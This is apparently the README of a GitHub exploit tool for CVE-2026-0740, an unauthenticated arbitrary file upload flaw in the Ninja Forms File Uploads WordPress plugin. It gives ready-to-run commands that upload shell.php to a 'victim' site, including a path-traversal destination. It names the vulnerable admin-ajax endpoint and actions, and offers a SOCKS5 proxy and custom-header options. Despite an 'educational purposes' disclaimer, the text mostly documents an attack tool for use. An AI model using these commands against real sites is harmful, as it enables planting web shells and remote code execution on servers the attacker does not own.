
Ninja Forms File Uploads <= 3.3.26 - Unauthenticated Arbitrary File Upload
CVE-2026-0740 is an unauthenticated arbitrary file upload vulnerability affecting:
Ninja Forms File Uploads ≤ 3.3.26 (WordPress plugin)
This flaw allows attackers to upload arbitrary files to the server without authentication, potentially leading to remote code execution (RCE).
This project is provided for educational and authorized security testing purposes only.
Install dependencies:
pip install httpx httpx-socks
python3 CVE-2026-0740.py -t http://target.com -f shell.php
python3 CVE-2026-0740.py \
-t https://victim.com \
-f shell.php \
-d ../../../../shell.php
admin-ajax.phpPlugin: Ninja Forms File Uploads
Endpoint: /wp-admin/admin-ajax.php
Actions:
nf_fu_get_new_noncenf_fu_upload/wp-content/uploads/ directoryThis project is licensed under the MIT License — see the LICENSE file for details.
Pull requests are welcome. For major changes, open an issue first to discuss what you would like to change.
| Argument | Description |
|---|
-t, --target | Target URL |
-f, --file | File to upload |
-d, --dest | Destination path (path traversal) |
-x, --proxy | SOCKS5 proxy |
-H, --headers | Custom headers |
--timeout | Request timeout |
--no-color | Disable colored output |
-q, --quiet | Quiet mode |
--verify-ssl | Enable SSL verification |